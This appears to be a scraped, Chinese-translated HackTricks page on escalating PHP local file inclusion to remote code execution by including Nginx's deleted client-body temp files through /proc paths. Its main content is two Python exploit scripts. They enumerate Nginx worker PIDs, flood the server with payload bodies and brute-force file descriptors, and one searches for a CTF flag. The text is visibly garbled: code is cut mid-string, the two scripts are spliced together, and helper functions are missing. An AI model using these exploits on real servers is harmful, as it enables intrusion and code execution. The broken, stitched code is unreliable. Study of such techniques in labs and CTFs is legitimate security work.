通过Nginx临时文件进行LFI2RCE

从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！

支持HackTricks的其他方式：

如果您想看到您的公司在HackTricks中被广告或下载PDF格式的HackTricks，请查看订阅计划!
获取官方PEASS & HackTricks周边产品
探索PEASS Family，我们独家NFTs收藏品
加入 💬 Discord群 或 电报群 或在Twitter上关注我们 🐦 @hacktricks_live。
通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。

WhiteIntel

WhiteIntel 是一个由暗网推动的搜索引擎，提供免费功能，用于检查公司或其客户是否受到窃取恶意软件的侵害。

WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="https://whiteintel.io" %}

可利用的配置

**来自https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**的示例

PHP代码:

````h`

/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... ``` 注意：在此示例中，不能直接包含`/proc/34/fd/15`，因为PHP的`include`函数会将路径解析为`/var/lib/nginx/body/0000001368 (deleted)`，而该路径在文件系统中不存在。幸运的是，可以通过一些间接方式绕过这个小限制，比如：`/proc/self/fd/34/../../../34/fd/15`，最终将执行已删除的`/var/lib/nginx/body/0000001368`文件的内容。 ## 完整利用 ```python #!/usr/bin/env python3 import sys, threading, requests # 利用nginx的客户端主体缓冲辅助进行PHP本地文件包含（LFI） # 详细信息请参阅https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # 查找nginx工作进程 r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] nginx worker found: {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # 上传一个大的客户端主体以强制nginx创建一个/var/lib/nginx/body/$X def uploader(): print('[+] starting uploader') while not done: requests.get(URL, data=' //'

requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass

def send_payload_worker(requests_session): while True: send_payload(requests_session)

def send_payload_multiprocess(requests_session): # 使用所有 CPU 将 payload 作为请求体发送给 Nginx for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()

def generate_random_path_prefix(nginx_pids): # 此方法从随机数量的 ProcFS 路径组件创建路径。生成的路径将类似于 /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path

def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids): # 在循环中扫描 10 到 45 之间的 Nginx FD。由于文件和套接字保持关闭 - 请求体 FD 很常见在此范围内打开 for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()

def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()

if __name__ == "main": print('[DEBUG] 创建请求会话') requests_session = create_requests_session() print('[DEBUG] 获取 Nginx pid') nginx_pids = get_nginx_pids(requests_session) print(f'[DEBUG] Nginx pid: {nginx_pids}') print('[DEBUG] 开始发送 payload') send_payload_multiprocess(requests_session) print('[DEBUG] 开始 fd 读取器') read_file_multiprocess(requests_session, nginx_pids)


## Labs

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)

## References

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.

Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.

You can check their website and try their engine for **free** at:

<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

8.3 KiB Raw Blame History Unescape Escape

通过Nginx临时文件进行LFI2RCE

WhiteIntel

可利用的配置

8.3 KiB

Raw Blame History